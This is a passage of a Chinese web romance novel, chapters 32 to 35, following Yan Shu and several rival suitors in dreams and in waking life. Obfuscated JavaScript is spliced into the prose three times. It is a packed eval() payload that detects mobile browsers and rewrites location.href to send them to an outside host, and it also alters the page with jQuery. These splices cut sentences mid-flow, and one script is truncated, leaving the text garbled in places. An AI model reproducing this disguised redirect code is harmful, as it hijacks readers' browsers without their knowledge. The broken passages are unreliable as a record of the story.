随着时间一分一秒地过去,两人的比分却依旧焦灼,封秋扬感到有些烦躁,他不耐烦地转动着球拍,黑色的运动服已经被汗水浸透,贴在背上,勾勒出完美的倒三角身材。 他看向燕舒,阳光透过玻璃洒在她的发梢,折射出淡淡的金色。她的穿搭很简单,白色短袖和运动裤。 封秋扬心想,黑白配,他们好配。 此时,燕舒也在看着封秋扬,她的视线扫过他的身体,衣服贴在□□上,线条明显。 嗯,□□,真好。 不过相比于陆寻春,还是稍显单薄,不过两种审美,她都能接受。 燕舒突然笑了,现实中只见过几面的陌生人,他还不了解她,她却已经通过梦境和他很熟悉了。 真有意思。 燕舒笑了。在场三人都看见了。 宋晴心想,完了。彻底完了。 她忍不住看向莫沅,露出无奈又怜悯的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127007|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,对方并没有和她对视,因为他也看见了燕舒的笑容。她笑了,只不过没有对他,而是对另一个男人。 莫沅怒火中烧,只不过,这火是对着封秋扬发的。因为,燕舒没错。 他想起之前和宋晴见面,两人的对话: 他说:“我们争吵的不是我放不放弃事业,我完全能兼顾好。我只是因为看见她身边出现了其他人而嫉妒、生气!” “我是她男朋友,她没和别的男人保持距离。” “距离?你要什么距离?”宋晴不以为然,翘着二郎腿,漫不经心地搅动着面前的咖啡。 “女人在生活中受些诱惑,很正常。莫沅,你要理解。生活中,总不能只接触你一个男的吧。你觉得可能吗?” 他握紧手中咖啡杯,有些生气,“和别的男人约会,这正常吗?” “你上前质问了吗?”宋晴问。 他沉默,慢慢吐出两个字:“没有。” 宋晴有些无语,“那你怎么知道她不是在做正事?” “可她们凑很近,那男的还故意勾引她。” “对啊!”宋晴打了个响指,“就算是有事,也是她被勾引,我都说了女人在生活中总会受到很多引诱,燕舒优秀,更受欢迎,你既然跟了她就要理解她,体会她的难处。至少,她还承认你是他的男朋友不是吗?” “该知足了。要不然,她完全可以和你分手。” “分手?”莫沅震惊,他从没想过和燕舒分手。 宋晴凑近,小声道:“所以,你聪明点,要学会包容。这才是聪明男人的做法。” 记忆回笼,莫沅目光阴沉,他想他还是不够聪明、不够包容,他看见燕舒对别的男人笑,他都想打死对方。 他的女朋友被人欺骗了,被人引诱了。 “看够了吗?”他问,声音充满怒意。 对面,封秋扬从燕舒的笑中不舍地收回目光,和莫沅对视,轻轻摇头,“不够。” “看一辈子也不够。”头发被汗水打湿,有几缕贴在额前,不显丝毫狼狈,反而平添几分野性,眼中带着势在必得的自信。 不要脸的疯子,莫沅心中冷嗤。 虽然场馆里空调冷气依旧充足,但莫沅还是觉得周身温度升高了,连空气都变得粘稠起来。 他穿着一件白色无袖运动衫,今天和燕舒是情侣色,但衣服已经被汗水完全打湿,脸上的汗水也顺着他的下颌滑落,在锁骨处汇成一小片水渍。 燕舒对今天莫教授在梦里的表现还是很惊讶的,带着眼睛文质彬彬的居然运动天赋也不低,身上的肌肉也结实。 他脸上都是汗,但阳光洒落在脸上,只觉得为他添了光。 只见他抛抛起球,一记快速平击发球直奔对面封秋扬的发球区外角。宋晴和燕舒两人都下意识屏住呼吸,因为赛局进行到了关键分。 5:4,莫沅的赛点,只要他再领先一局就赢了。 球速极快,来到封秋扬面前,他迅速移动,将球挡回。 莫沅发球后立即冲向网前,准备截击,但封秋扬怎么会意识不到对手的意图,直接一记切削回球,让球带着强烈的下旋飞向莫沅脚下…… 最后,谁赢了? 燕舒不知道。 因为,梦醒了。 早上七点,寝室安静、光线昏暗,燕舒从床上坐起,“草、地。” 32. 第 32 章 C市。 机场大厅,人流如织,广播里不时传来航班信息的播报声,人声和行李箱滚轮的声音夹杂在一起。 陈平生走出通道,视线在人群中扫过,试图找到那个熟悉的身影。最开始没找到,他归结于人太多,他又和她太久没见,不熟悉很正常。 尽管,事实上,他一直有她的各种现在的照片,因为许莹阿姨爱在朋友圈各种不经意的角落秀女儿。 她带着围裙在厨房做饭的背影,头发被随意扎起,带着圆框眼镜,露出侧脸…… 商场里,她双手抱臂,似乎有些生气,所以嘟着脸,微微皱眉…… 饭店,她坐在对面,筷子夹着肉,另一只手比耶,满脸笑意…… 这些都是很生活化的照片,于是他看着,也错以为自己参与了她的生活。 手表上的时针一分一秒地转动,半小时过去,陈平生还站在原地。周围偶尔有路人投来目光,甚至有几个年轻女孩子窃窃私语,目光在他身上停留片刻又匆匆移开。他面无表情站在出口处,单手插在黑色夹克的口袋里,另一只手握着手机,屏幕亮着,显示着一条未回复的消息:“我到了,你在哪?” 他知道她忘了,但他没有勇气给她打电话面对这个事实。 C大图书馆内,阳光透过高大的落地窗洒进来,落在木质书桌上,映出一片暖光。燕舒坐在靠窗的位置,手里捧着一本科幻小说,目光专注地扫过每一行文字。她的长发随意地扎成一个低马尾,几缕碎发垂在耳侧,显得人很温柔而安静。 纪佳时坐在她的对面,手里拿着一本同样的书。但很显然,他此刻的注意力并不在书页上。他时不时低头又抬头看向对面的女生,眼神中带着一丝试探和犹豫。手指无意识地敲打着桌面,似乎在酝酿什么。 终于,他合上了书,轻轻咳嗽一声。 燕舒抬起了头,两人对视。 “学姐。”他的声音很轻,带着一丝试探,“今天这次……算是约会吗?” 声音带着笑意,似是在开玩笑,又似在认真询问。 怕听到拒绝,所以将提问以玩笑话说出,又不肯甘心做“朋友”,所以明知结果还要再问。 燕舒眨了眨眼睛,眼神左右乱瞥,在意识到自己选的地方是最高楼层且角落边缘,书桌都被书架挡住后,面色恢复平静。 反问:“不算吗?” 虽然地点是图书馆,但是如果对象不是纪佳时,那么她也不会出门。如果说前一次吃饭只能算是她给对方送的昂贵水果的等价补偿,那么这次她确实是跟随心的选择。 她喜欢他,她对他心动过。 这些不需要遮掩。 纪佳时愣住了,他呆呆地看着燕舒,面上先是惊讶然后是不可置信,再是惊喜和慌乱。手指不自觉地握紧书页的边缘,指节有些发白。喉结滚动,似是有什么想说,却又一时语塞。表情从最初的冷静逐渐变得复杂,眉头微微皱起,嘴角却又不自觉地扬起一丝弧度。 “我……” “我以为……” 是他发出了邀请,因为他怕她忘了他。 吻了就忘了。 但他记得,她唇的柔软。 ——嗡! 突然,燕舒放在桌面的手机震动,震动声打断纪佳时的话。 他看见,她伸手拿过手机,指尖在屏幕上滑动,目光落在一条消息上,面色一变,皱起了眉,猛地起身,显出焦急的神色。 “学姐,发生什么事了?”他见她神色慌张,下意识也为她担忧起来。 燕舒拿起一旁的帆布口袋,对纪佳时抱歉道:“纪学弟,抱歉,我临时有事,今天就算了。” “学姐,什么事?很急吗?我可以帮你吗?”纪佳时问。 他的视线在燕舒面上巡游。 燕舒愣了愣,摇头,“我有一个朋友来C市,今天该去机场接他的,差点忘了。” 忘了。 因为自己忘了吗? 纪佳时面上表情依旧焦急,为燕舒而急,嘴角弧度却悄悄上扬。 燕舒将手上的书交给纪佳时,道:“佳时,你帮我把这两本书还了吧。谢谢。” 她其实也不想和陈平生单独待在一起,总感觉有些尴尬,可是让纪佳时陪着自己一起去,也很怪,像是故意的。但问题是她和陈平生根本没什么,带纪佳时去更怪了。最好的人选是李梦音,可惜今天对方在寝室躺平,现在她突然叫人出门,太突然也太不礼貌了。 所以,只能燕舒自己去了。 “陈平生!”一进机场大厅,燕舒就看见了他。 少年时的俊秀随着年岁渐长褪去了青涩而多了几分成熟,不过,陈平生本身就因为智商高而早熟,少年时代很不屑于和同龄人交往,除了燕舒。 上次视频里看得不算清楚,现实中却更加显眼。 陈平生等了许久了,面上的表情逐渐阴郁下去,不过等手机上收到燕舒的短信后又愉悦了起来,眉眼弯弯。 等待时的感受,很多时候是因为等待的人不同而不同。 少年时候,他们一起放学回家,他最开始为故意反抗家长的吩咐而往往先行离开,然后在女孩的瞪视中惴惴不安,学会了等待。等待一开始是枯燥无味的,左右乱看,只为寻找一个消磨时间的趣味,但等待的人等到了后,心立刻沸腾起来,刚刚的一切都是值得。 就像现在,他随着那声“陈平生”转头看去,女生穿着白色羽绒服,背着个帆布包,长发随意地披在肩上,微微喘着气,眼睛亮晶晶地望着他。 等到了她,所以刚刚消磨的所有时间都值得。 两人距离不远,但也不近,隔着人群对视,时间仿佛在这一刻静止。 燕舒的脚步放慢,刚刚脸上的欢喜也随着脚步的放慢而隐匿,显出几分尴尬和无措。 太久不见,所以那一声中含有的欢喜不假,可现在她表露出的尴尬和无措也不假。 陈平生看出了她的转变,心中有些酸涩,下一刻露出笑脸,朝她快步走去。燕舒愣了一下,没来得及反应,他已经跑到她面前,毫不犹豫地张开双臂,几乎是猛扑,将她紧紧抱入怀中,然后抱起她转圈圈。 “陈平生!你做什么!”燕舒彻底惊了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127008|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放我下来!”她抱住他的脖子。 听她的话,他将燕舒放下,只不过依旧紧抱。 一男一女在机场里相拥,这样的场景不算少见,不过燕舒看着路过的人的打量眼神,脸微微发红。 陈平生发疯了。 他和她之间的关系哪有那么好。 “燕舒舒,好久不见。”他的声音在她耳边想起,难以掩盖的喜悦和温柔。 燕舒的心漏了一拍,原本想挣脱的举动停滞,她的脸颊贴在他胸口,能清晰地听到他有力的心跳声,鼻尖萦绕着他身上淡淡的洗衣液香味。 她想,真是够够的了,不仅越长大越在她审美点上,连身上的香味她也喜欢。 车上,两人坐在后座。 “你怎么来C市了?”她问。 “有一个两周的学术会议。” “哦。”燕舒点头。 她知道陈平生学的是生物信息,不过这个专业和她学的没什么关联,她自然不关注。 “那你两周后就离开?” “怎么?”陈平生歪头看着燕舒,笑着问:“两周时间还没到,你就舍不得我了?” 燕舒想骂一句“滚”,又觉得不合适,不礼貌,最终礼貌微笑。 “你想去C市那些地逛?”既然答应了许女士,她就不会不做。 “你很熟?” 燕舒摇头,她只是在C市读大学,并且还是个不怎么爱出门的宅女,熟的都是一些知名的景点和大学城附近。 “没关系,我也不熟。” “其实我最想去的是C大,你的大学。其他地方,我们可以一起去认识。” “……” 车在莫尔纳酒店停下,燕舒讶异地看向陈平生,他将行李从车上搬下,道:“研究院就在大学城附近,莫尔纳酒店是唯一一个离C大和我研究院都很近的酒店。” 的确,很近,近到燕舒骑自行车十分钟就能到。 不过,研究院?似乎半小时起步,毕竟大学城都是大学,各自占地面积不小,研究院离C大隔着好几个学校,其实并不近。 “要陪我一起上去吗?放行李?”陈平生问。 “不要。” “那好,你在大厅等我,我们等会一起吃饭。” 见面吃顿饭是应该的,燕舒点头,向大厅的沙发走去,坐下。 等了一会,有人拍了拍燕舒的手背,她以为是陈平生,侧身却看见一张熟悉却又有些意外的脸。 “学姐,你朋友住这?你在等她?”他问。 纪佳时嘴角噙着笑,觉得今天十分好运,否则不能再次遇见燕舒,刚刚未完的话如今又有机会说出。虽然明天也不迟,但他觉得今天更好,好更进一步。 “嗯。”燕舒缓缓点头。 纪佳时转头看向对面的电梯,想看燕舒等谁,刚好,叮咚一声,电梯门打开,几个人从中走出,有男有女,只不过纪佳时一眼锁定其中最有气质的一个年轻男人,两人的视线在空中相撞,然后迸发出激烈的火花。 这并不是默契,只是一眼得出的直觉。 危机感。 33. 第 33 章 “介绍一下?”陈平生走到燕舒身边,看向站在两人面前的年轻男生。 其实陈平生也不大,只比燕舒大了一岁,不过他自小跳级又出国自己生存,现在不过23岁就成了博森生物科技公司的核心研究员,被专门派往C市这边进行学术交流和负责这边的项目推进。 在心理年龄上,他自然俯视纪佳时。 他走近燕舒,身体朝向和她相同,这样,原本站在她近处显得很是亲近的纪佳时则和两人对立。 纪佳时面色淡然,带有笑意,很是礼貌地和对面的男人对视,心底却很不舒服,因为对方的提前发问抢夺了社交主动权。 “介绍一下?”和“你好,我是……”给人的感觉是不一样的。 不过,纪佳时到底没有抢在燕舒开口前介绍自己,因为他也想听她会怎么介绍他。 “纪佳时,我学弟。”燕舒的介绍很简洁。 其实说这话时,她有些心虚,因为今天早上才和男生在图书馆里约会,然后就临时离开,结果再见,她身边站着其他人。不说前因后果,还真像海王钓鱼,钓了一条后撤杆,去其他地方重新钓,结果不过一会儿三人戏剧性地撞在一起了。 可是不说“学弟”,燕舒也不知道介绍什么。 男朋友吗? 第一点,吻是吻了,可其他约会、暧昧、陪伴的步骤都没走呢。可燕舒觉得,接纳一个人,这些都需要经历,不能算必走程序,但她第一次总得尝试一下。 第二个原因则是,她不想因为陈平生在所以将暧昧对象故意说成男朋友,总感觉怪怪的。就算真说了,恐怕之后纪佳时也会不开心,会耿耿于怀。 她真善良,还会考虑纪佳时的心情。 “纪学弟,你好。我是燕舒的……”陈平生主动朝对面伸手,面带微笑,十分客气,连语气都充满一种莫名的官方。 “哥哥。” “陈平生。” 纪佳时听着,微微眯起眼,没有放松。 燕舒歪头皱眉,觉得很荒谬。 太久没见陈平生了,对方转性了? 哥哥? “我们从小一起长大,算是青梅竹马。” 燕舒隔着衣服摸了摸手臂,忍不住反驳,“不是!” “怎么不是?”陈平生看向燕舒,微微昂头,眼里溢出笑意。 “虽然从小互相关系不好,但好歹多年情谊,燕舒舒。我妈还给你带了她织的针织毛衣、针织包,等会给你。” “毛衣、包?” 陈平生解释:“她好早之前上手的爱好,玩得不错,之前给你打电话问你要什么礼物,你不是拒绝了吗?她就自己做主送你这些了,你不会怪她吧。” 燕舒摇头。 “哥哥?”纪佳时终于出声,他一直保持着微笑。 相比于对方自称燕舒的哥哥,还是两人有来有往的对话更让纪佳时心烦,只不过他不会将这些情绪表露出来。 “之前没有听学姐提过呢。原来你们从小就认识,挺好,现在很多人认识多年依旧会走散变得陌生。”纪佳时慨叹。 他心中突然想通了一点,对面如果在他面前有优势,那么就不需要这么主动出击。越强调青梅竹马,就代表越忐忑。 陈平生没有附和这句话,他斜眼看了眼身旁的女生,见她什么也没说,心往下沉了沉,嘴角的弧度平了下去。 作为研究所里的核心研究员,陈平生脾气算不得好,甚至还很坏。纪佳时的礼貌是得体,不给人难堪,而陈平生的礼貌是直白地骂出对方的错误,让其改正。 他讨厌蠢货,认为和蠢货迂回是浪费时间。 “纪学弟在这是等人吗?”陈平生问,语气淡淡,没有刚刚的假装热切了。 燕舒也盯住纪佳时,她也想知道他为什么在这。 纪佳时道:“等朋友。” “女朋友?” “呵呵。” “一对情侣,都是我朋友。” “那你继续等,我们就去吃饭了。”陈平生转身,他想拉身旁女生的手,却最终迟疑,只朝她笑笑,招手道:“走,我饿了,吃饭。” 陈平生不想再和这个明显觊觎燕舒的学弟聊了,他们宝贵的相处时间不应该被其他人破坏。 但,纪佳时出声了,他打开手机信息页面,做出无奈耸肩的模样,目光在燕舒和陈平生两人的脸上扫过,最终定格在燕舒脸上,“学姐,介意多一个人一起吃吗?我想我不应该打扰他们。” 陈平生面无表情,心想,那你就更不应该打扰我们。 纪佳时接受到对方表达出不情愿的想法,可他又不在乎,因为他就是故意的。 他只在意,燕舒会答应吗? 两人看向燕舒。 燕舒愣了一下,她有些纠结,因为她不想答应,可今天本来就因为临时中止和纪佳时的约会而心怀愧疚,并且在三人见面互相介绍后更加心虚了,面对纪佳时的眼神,她下意识地心软了。 点头同意。 午饭地点选了附近美食街的一个中餐馆。 不是燕舒不想给陈平生花钱,只是两个男人关于吃饭地点都要隐隐夹枪带棒地针对一番,燕舒懒得听两人掰扯,直接随意选了个附近吃过且味道还不错的饭馆。 现在时间刚好十一点半,属于可以是吃饭时间,但人又不多的状态,三人在饭店最里面的一桌坐下。 “你来。”燕舒将菜单递给陈平生。 陈平生自然地接过,他扫了眼一旁的纪佳时,用笔在菜单上打勾,“一份水煮鱼?中辣?” “可以。”燕舒点头。 她爱吃鱼,也爱吃辣。 “宫保鸡丁、糖醋排骨、白灼菜芯……”见她点头,陈平生转了转笔,心里舒了口气。 他最怕遇见的场景就是两人吃饭,他点了道她从前爱吃的,结果她说口味变了。这样的场景会让他想到一些其他的东西。 所幸,她口味一如既往。 “纪学弟,你还有其他要点的吗?”陈平生微笑将菜单递给纪佳时。心情好了,脸上的假笑都显得真诚多了。 纪佳时接过,扫了一眼摇头,“够了,我没其他想吃的了。” 他知道燕舒喜欢吃什么就好了。只不过,纪佳时心里又一个地 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陈平生看了他一眼,转身离开。 陈平生走后,燕舒和纪佳时走到附近的一个小公园在木椅上坐下,最近天气越来越好了,温度也逐渐上升,没有再像之前那样冷。暖烘烘的阳光透过枝叶的缝隙,在地上落下一片片斑驳的光影。 最开始,两人都没说话。 这不是因为尴尬,反而是互相都察觉此刻氛围正好,不说话,微风吹拂代替了一切回答。 只不过,纪佳时对某个问题很执着,在最后看着燕舒的眼睛问:“学姐,我们这次算约会吗?” 虽然中断过、虽然中间有其他人的加入,但只要燕舒说算,那么他就会很开心,然后期待下一次的见面。 当然,即使燕舒说不是,他也不会真气馁。 因为,他会死缠烂打。 两人互相凝望,燕舒微微一笑,点头:“算。” 他们,正在暧昧、正在约会、正在互相靠近。 毕竟,吻都吻过了。 在燕舒的视野里,梦境里喜欢她的人很多,但就像体验情景剧一般,梦里沉浸,醒来角色是角色,演员是演员,好玩而已。但现实中,真正靠近她的只有纪佳时和陆寻春,但除了第一面良好,梦里,陆寻春都把燕舒吓到了。 于是她远离陆寻春,靠近纪佳时。 无论是梦里常相见还是现实中面对自己的过分试探而一退再退,纪佳时都表现得很好。 所以,该有奖励。 燕舒也向前迈步。 只不过,燕舒没有想到会在她向前迈步的时候再见到陈平生,并且他表现出赤裸裸对她的喜欢,那么明显,那么直白。 燕舒不是傻子,她很敏感且细心,看得懂一切暗示,何况对方直接是将所有心思摆在了明面上。 除非装傻。 可是,回忆起刚刚陈平生离开的背影,燕舒心想,她绝对不会喜欢他。 因为,她有一点讨厌他。 34. 第 34 章 晚上八点,陈平生在酒店大堂看见了坐在沙发上的燕舒。 说是坐,不如说躺,她身体完全贴合沙发,整个人凹陷进入,靠垫被她挤得歪歪斜斜,头发披散,两只手玩着手机,位置刚好是角落,一副沉浸在自我世界别来打扰的模样。 陈平生向她走近,很高兴没有在她身边再看见那个狗皮膏药。 燕舒在玩游戏,是消消乐,她从小就喜欢玩,因为简单,脑子放空,眼睛和手指跟上就行。 晚饭是六点吃的,和纪佳时一起,他今天都没事做,因为把那两个朋友忘在了角落。不过七点多的时候还是离开了,因为朋友不仅只是朋友,还有亲戚关系。 他简单对燕舒解释,大概就是叛逆高中生小表弟离家出走来C市和网恋对象奔现,他负责安排小表弟的住宿,因为对方叛逆到不想联系任何亲戚,除了他这个表哥。 今天一天没管,但晚上得带人回家教训一番。 总之,纪佳时迫于无奈走了,只能眼睁睁看燕舒“狼入虎口”。 所以燕舒早些时候就给陈平生发了在大厅等他的消息,于是陈平生邀请她一起吃晚饭。研究所对他安排的迎新宴,人不多,但都是他应该进行认识的老师和同级研究员。因为吃过了,燕舒拒绝了,于是,陈平生加快吃饭流程,提前离场。 阴影从身侧落下覆盖头顶,并且将她整个人包裹,燕舒从游戏抽出,微微侧头、再仰头,就看见了陈平生。 两人对视,陈平生歪头,又向前走近,他直接坐在沙发扶手上,燕舒垂眸,地上的阴影聚拢了,但她依旧在这团阴影当中。 他们之间真的变了很多,不过不变的是男生依旧高大。 给人一种安全感。 想到这点,燕舒摇摇头。 “晚饭吃的什么?”他伸出手指划动燕舒的屏幕,手机传出“叮咚”声。 “汉堡。”还有可乐。 退出游戏,点击锁屏,她握住手机,从沙发中站起身,挪动步子,走出阴影。 “走吧。”“去哪?”陈平生还坐着,姿态放松,身体微微前倾,一只手随意地搭在膝盖上,另一只手则撑在额头上,指尖轻轻揉着太阳穴。他的眼神有些迷离,像是被酒精模糊了焦点,嘴角却挂着一抹若有若无的笑意,仿佛在享受这种微醺的状态。 晚上吃饭,人多,少不了得喝点酒。 不过,他其实喝的不多。 燕舒也没从他身上闻到很浓重的酒味,而且最重要的是,他表演得实在太假。 “醉了?”她挑眉,双手抱臂。 “头有点晕……”他低声嘟囔着,声音带着一丝沙哑。 “那你今天好好休息吧,我之后再来找你拿东西。”燕舒点头,转身作势离开,但身体才转到一半,脚步刚迈出半步,手腕却被一股温热的力量握住。 燕舒转头,眼神扫过被握住的手腕,陈平生松开,站起身,两只手举起做投降状,“我错啦,我没醉。” 酒店大厅来来往往都是人,此时不少人坐在沙发上,他们看见了角落的男女,样貌都年轻且充满稚气,心想应该是附近大学的学生,见两人动作,心下一笑,判断是小情侣闹别扭,现在男生在哄女生。 果然,不一会,两人一同走进电梯。 不过没牵手,只一前一后走着,距离不近不远,看来还在闹别扭。 刷卡,开门,陈平生走进房间,转头,燕舒站在门外。他又拉住她的手,用力往里一拉,她被迫进入。 然后,陈平生快速关门。 燕舒双手挡在胸前,她以为陈平生会壁咚她,因为地方很合适,他伸手关门,刚好将她围住。但他又很快收回手,然后有些好笑得看着她现在的动作。 燕舒看着他脸上的笑,有些不自然地将手放下,心里却冷哼一声。 陈平生住的是一间豪华行政大床房,研究院那边安排的,因为他只待两周。房间不算奢华,但布置得简洁而舒适,进门就是起居室,地面铺着柔软的地毯,燕舒没有换拖鞋但也踩了上去,踩的时候很用力地踏了踏,就当还了陈平生让她难堪的那一遭。 房间很大,除了大床还有沙发、茶几和书桌,燕舒在沙发上坐下。 陈平生在更衣室开箱子,他妈给燕舒的针织毛衣和包包和他的衣服放在一起,但毕竟属于礼物,所以还带了一个礼品袋。他将东西放入,提着袋子起身,走出更衣室。 “给。”他将袋子递给她。 燕舒起身接过,“谢谢阿姨了。” 无论是燕舒小时候还是现在,不管她对陈平生的观感如何,她都很喜欢他妈妈,罗韵阿姨,因为她对她很好。 所以,如果只是她妈强迫她去接待一个人,燕舒说不定不会听从,但因为他是罗阿姨的儿子,所以燕舒很平静地接下这个任务。她不想因为陈平生破坏她在罗阿姨心中的印象,她希望她们两家好好的。 “我妈的爱好,针织,不算贵重礼物,但她的一点心意。”陈平生道。 燕舒直视他,认真回答:“谢谢,我很喜欢。” “嗯。” 认真的人很可爱,不仅仅局限于工作。 他觉得她很可爱。 “其实……”酒店隔音环境很好,所以此刻房间很安静,陈平生觉得自己的心跳声有些大了。 “我也有礼物给你。”从两人认识开始,他们就一直有互换礼物的行为。 这不是约定,只是礼貌和热情,你送我东西,我也要给你其他的。 东西一直放在他另一只手上,说完,他将放在背后的手拿出。 陈平生不自在地咳了一声。 太久没送燕舒礼物了,从高中起,两人距离渐远,东西都是交给他妈,再转交给她的。现在,他竟然有些紧张和无措。 他明白,他们之前已经和从前不同了。所以,他忐忑。 燕舒看出对方眼里的紧张与期待,她垂眸,看见他手掌心托着的蓝色丝绒盒子,盒子边缘镶嵌着一圈细细的银边,在灯光下微微闪烁。 迟疑了片刻,燕舒接过,指尖触碰他的掌心,陈平生收回手,垂在一旁握紧。 “打开看看。”他轻声催促。 送礼物的人期待收礼物的人反馈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是引诱或者勾引暗示,只是他想她有事直接来找他,别询问通知他,别等他,他不需要那些礼貌。 越礼貌越表示疏离。 陈平生的视线落在她身后,她还在继续往前走。房间气氛有些微妙,直到门被燕舒打开,陈平生大步往前,他腿长,几步缩短距离,和女生同时走出房间,然后伸长手臂关上了门。 双手放在外套口袋中,一只手紧握两张房卡,用力到掌心都有些痛感,但面色依旧自然,道:“我送你回学校吧。反正也不是特别远。” 燕舒瞥了眼一旁的人,没说话。 两人一同走出酒店。 时间不到九点,夜色浓稠,但远处的天际还残留着一抹淡淡的蓝紫色,像是白昼与黑夜交织的痕迹,而近处的天空已经完全被深蓝色占据,像是一块柔软的丝绸铺展在头顶。 两人一边走一边聊天。 路过热闹的街道与人群,他慢慢向她靠近,街市灿烂的灯光洒落在两人身上,陈平生有些恍惚,他觉得他们本应该是这样的。 夜晚,牵手逛街,路过热闹的人群,买下一份刚炒好的板栗,然后一起吃。 陈平生停在卖板栗的小摊前,问身旁的燕舒,“你吃吗?” 燕舒有点想要,因为她记得昨天李梦音在寝室说过自己馋板栗了。 “我给我室友买一份。”她道。 “好,老板,两份。” “嗯,我们一起吃一份。” 35. 第 35 章 燕舒坐在客厅的沙发上,因为梦里来过一次,所以第二次来她的姿态很是放松,懒洋洋地靠着靠枕,双脚随意地悬空上下晃悠,从肢体语言中可以看出,她现在心情很好。 是的,今天的梦境场景是她第一次入梦所在的房子。 纪佳时的房子。 不过,房子虽然不是她的,但是按照她喜欢的风格装修的,燕舒想,如果有天她在现实里买房,她一定照搬梦境中的进行装修。 曾经来过,没有陌生感,所以放松恣意。 今天的梦境场景和燕舒第一次入梦有些像,自己醒来走出卧室,然后看见纪佳时在厨房做饭。 听见动静,他转头,脸上露出微笑,道:“老婆,你醒啦。” 不过,到底不是时光倒流、梦境重现,今天的梦境和之前的还是有很大的差别。 比如,房子里多了一个人。 陈平生一身休闲装,脚上是蓝色拖鞋,手里拿着拖把在客厅认真拖地。 梦见陈平生,是意料之中又是意料之外的事。 不过,相比于现实中对他客气礼貌,梦境中燕舒直白地表达了自己的不喜。她皱着眉头,看着身形高大挡在自己面前的男人,“啧”了一声,说:“你挡着我看电视了。” 梦境里是能看电视的,就像燕舒能在图书馆找到小说一样,此刻,电视剧里正播放着电影《他归来》。 电视打开就放着,里面演员的脸燕舒有些认识有些不认识,大概又是梦境的高科技创作了。 看了一点,燕舒知道这电影大概讲些什么了。背景类似民国的爱情电影,从个人爱情成长去看时代变革。 男主角江傲,小名娇娇。江家富甲一方,因家中母父开明,不重女轻男,所以身为家中唯一一个孩子,江傲备受宠爱,十分嚣张刁蛮。 不过,江傲嚣张归嚣张,在另一个人面前却乖得像鹌鹑。那个人就是女主,周云生。 周云生家境不好,但因为母父和江家母父有些交情,所以从小被□□扶资助,更是被定下和江家的亲事。 在江傲母亲江雪兰看来,周云生不是简单孩子,虽然对方现在平平无奇,但人一生际遇不是一眼判定的,她要提前下注,将江家交给周云生,让儿子以后好有个依靠。 随着江傲长大,他对周云生的感情越来越复杂,因为在身份地位上他又自卑又自傲,于是他一边讨厌远离周云生又一边亲近纠缠。 他知道自己的行为有些无理取闹,可他又想,周云生是自己的未婚妻,她们是注定要在一起的,她应该惯着他。 可惜,变故来临。 混乱、动荡,一切都在变。 一切都在乱。 周云生离开了,外出求学。 分离让情感变得深刻,让曾经刁蛮任性的江傲变得沉稳睿智,他也理清了自己的心。 他是喜欢周云生,他确认。 分开得越久,他越思念她,情感像藏在地窖的酒,经过岁月的沉淀而越发浓烈。 可是,当她们再次相见,他愕然发现,她身边已经有了另一个人。 他惊讶、不可置信、激动、痛苦,质问道:“你忘了我们的婚约吗?” 周云生握住身边人的手,皱眉,很是冷淡,“你忘了吗?有一次你说你并不想和我在一起,你并不认可这个婚约,这是你母亲强加在你身上的束缚。” “我当时是在说气话!” “可我认真了。”周云生很认真地回复。 “从那个时候起,婚约就取消了。” “……” “做不了爱人,那我们还能做朋友吗?” “我们永远是朋友。” 经过这次激烈的感情变故,江傲成长了。他以朋友、以伙伴的身份陪在周云生身边,看着江家在她手中越来越好,看着她身边爱慕她的人越来越多,他心中有叹息、有失落,但更多的是庆幸,至少她的身边还有他的位置。 终于,时光流逝,一切又归于稳定和平静,江傲变老了,周云生也变老了,而那个曾让他痛苦、嫉妒得发疯的人死了。 冬季雪深,两人走在路上,有些沉默,想说些什么最终又没开口,于是在路灯下站定,风雪在灯光下显出形状,周云生走近江傲,拍了拍他头上的雪,说:“娇娇,你老了。” “是的,我老了。” “可是,云生,在我心里,你永远没有老去,也不会老去。” “因为我一直注重保养,显得比你年轻。” “哈哈。” 这是属于江傲的故事,有他的青春年少,他的轻狂过往,可在故事中其实并不值得一提,如果没有她也并不会显得深刻。他一生都在等她,为他曾经犯下的错误付出应有的代价。终于,最后,他等到了她。 因此,虽然电影名字是《他归来》,但本质上是《她归来》。 陈平生很喜欢这部电影,因为,他代入了他自己,他觉得江傲和他很像,周云生和燕舒很像,甚至连故事的情感纠葛都像。 这部电影,他看了很多遍,每次看到最后结局时都能深刻体会江傲的心情,他终于等到她了。电影结局,并没有男女主相拥的近景,反而是两人并肩又重新走在雪地的背影。每次看见这最后一幕,陈平生心里总是感动,连眼眶中的泪都忍不住摇摇欲坠。 他看得沉浸,直到燕舒的声音把他惊醒。 “哦。”他连忙后退,离开电视屏幕前,手里紧紧握着拖把。 他和燕舒对视,在她眼里看见了冷淡和不耐,心中有些委屈和刺痛。 客厅里的氛围有些古怪,像是连空气也凝固住了。 “老婆,吃饭啦。”纪佳时出声,打破客厅里的沉寂。 燕舒侧头看去,只见纪佳时温柔笑着解下身上的围腰,端出菜走出厨房。 